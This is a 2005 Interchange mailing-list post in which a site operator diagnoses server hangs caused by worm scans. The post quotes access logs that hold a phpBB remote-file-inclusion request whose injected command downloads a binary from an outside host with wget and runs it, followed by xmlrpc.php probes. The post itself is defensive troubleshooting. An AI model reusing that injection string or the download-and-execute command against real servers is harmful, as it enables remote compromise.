[ic] mod_interchange and Apache MaxClients

[John1]

On Thursday, December 01, 2005 9:18 PM, rphipps at reliant-solutions.com wrote:

>> From: interchange-users-bounces at icdevgroup.org
>> [mailto:interchange-users- bounces at icdevgroup.org] On Behalf Of Ron
>> Phipps
>> Sent: Thursday, December 01, 2005 9:24 AM
>>
>> We were visited this morning again by this worm and my script noticed
>> the site was not responding so IC was restarted.  It's definitely
>> something in this worm that is causing Apache/mod_interchange/ic to
>> hang up.  I'm setting up a test domain today with the cgi-bin access
>> method, I'll modify my script to then check this test domain when it
>> notices the main domain is not responding to see if IC can still
>> serve pages properly.  This will then narrow it down whether it's an
>> issue with IC or Apache/mod_interchange.
>>
>> Thanks,
>> -Ron
>
> I have setup a test domain and catalog which connects to the live IC
> server.  On this test site I have a page containing: "CGI UP".  When
> my script notices that the main site is not responding it will then
> try to hit the test site using the tlink cgi and will check for the
> result of "CGI UP".  This will tell us whether or not IC can be
> accessed via the CGI method when it cannot be access via
> mod_interchange.
>
> Our site was brought down for a 2nd time this morning by another worm
> trying to access exploits in awstats and xml-rpc.
>
Sorry for going quiet on this thread over the last few weeks, but things 
just a bit hectic at the moment - will hopefully have a bit more time after 
Christmas.

Ron, I was going to try to set up the CGI test domain like you have done but 
haven't had chance yet - have you reached any conclusions?  Will Interchange 
still respond via the tlink cgi?

Anyway, what has prompted me to post is that our site was brought down 4 
times yesterday, by a very similar (but different) script to before...

It is very clear that it is POST requests that are bringing Interchange 
down.  I am not sure whether it is the *content* of a particular POST 
request or whether it is just the fact that several POST requests are made 
in the space of a few seconds from the same client.

Explanation to why I conclude that POST requests are the culprit
=======================================

Just before the server goes down we see the below two entries in our log.

our_ip_address - - [16/Dec/2005:13:16:39] "GET 
/modules/Forums/admin/admin_styles.phpadmin_styles.php?phpbb_root_path=http://81.174.26.111/cmd.gif?&cmd=cd%20/tmp;wget%20216.15.209.4/criman;chmod%20744%20criman;./criman;echo%20YYY;echo| 
HTTP/1.1" 404 259
our_ip_address - - [16/Dec/2005:13:16:40] "GET 
/Forums/admin/admin_styles.phpadmin_styles.php?phpbb_root_path=http://81.174.26.111/cmd.gif?&cmd=cd%20/tmp;wget%20216.15.209.4/criman;chmod%20744%20criman;./criman;echo%20YYY;echo| 
HTTP/1.1" 404 251

Notice these are both GET requests.  There are no POST requests showing in 
the log.

So, I search Google for some information about the above worm and stumble 
across someone else's access log.  These are the entries in their log:

x.x.x.x - - [16/Dec/2005:11:49:40 -0600] "GET 
/modules/Forums/admin/admin_styles.phpadmin_styles.php?phpbb_root_path=http://81.174.26.111/cmd.gif?&cmd=cd%20/tmp;wget%20216.15.209.4/criman;chmod%20744%20criman;./criman;echo%20YYY;echo| 
HTTP/1.1" 404 259
x.x.x.x - - [16/Dec/2005:11:49:42 -0600] "GET 
/Forums/admin/admin_styles.phpadmin_styles.php?phpbb_root_path=http://81.174.26.111/cmd.gif?&cmd=cd%20/tmp;wget%20216.15.209.4/criman;chmod%20744%20criman;./criman;echo%20YYY;echo| 
HTTP/1.1" 404 251
x.x.x.x - - [16/Dec/2005:11:49:47 -0600] "POST /xmlrpc.php HTTP/1.1" 404 216
x.x.x.x - - [16/Dec/2005:11:49:48 -0600] "POST /blog/xmlrpc.php HTTP/1.1" 
404 221
x.x.x.x - - [16/Dec/2005:11:49:50 -0600] "POST /blog/xmlsrv/xmlrpc.php 
HTTP/1.1" 404 228
x.x.x.x - - [16/Dec/2005:11:49:52 -0600] "POST /blogs/xmlsrv/xmlrpc.php 
HTTP/1.1" 404 229
x.x.x.x - - [16/Dec/2005:11:49:56 -0600] "POST /drupal/xmlrpc.php HTTP/1.1" 
404 223
x.x.x.x - - [16/Dec/2005:11:49:57 -0600] "POST /phpgroupware/xmlrpc.php 
HTTP/1.1" 404 229
x.x.x.x - - [16/Dec/2005:11:49:59 -0600] "POST /wordpress/xmlrpc.php 
HTTP/1.1" 404 226
x.x.x.x - - [16/Dec/2005:11:50:00 -0600] "POST /xmlrpc.php HTTP/1.1" 404 216
x.x.x.x - - [16/Dec/2005:11:50:02 -0600] "POST /xmlrpc/xmlrpc.php HTTP/1.1" 
404 223
x.x.x.x - - [16/Dec/2005:11:50:03 -0600] "POST /xmlsrv/xmlrpc.php HTTP/1.1" 
404 223

The above POST requests never made it to our access log, so it seems it is 
these POST requests, or the POST /xmlrpc.php specifically that is bringing 
down Interchange.

This is *exactly* the same behaviour as I was seeing a few weeks ago with 
the similar (but not identical) worm/hacking script, hence the conclusion 
earlier in this thread that it is the POST requests that are the problem.

Ron, do you see similar behaviour?

BTW, I found a couple of links to http flood utilities that could be used to 
test whether it is the spurious POST requests themselves that are causing 
the problem, or merely the fact that there is a quick succession of spurious 
POST requests from the same IP address.  Unforutnately, I haven't yet had 
chance to make any tests with these utilities myself, but here are the links 
in case anyone else thinks they may be useful for tests:
http://httpd.apache.org/test/flood/
http://support.microsoft.com/default.aspx?scid=kb;en-us;324094

Thanks for your help... 


		
___________________________________________________________ 
NEW Yahoo! Cars - sell your car and browse thousands of new and used cars online! http://uk.cars.yahoo.com/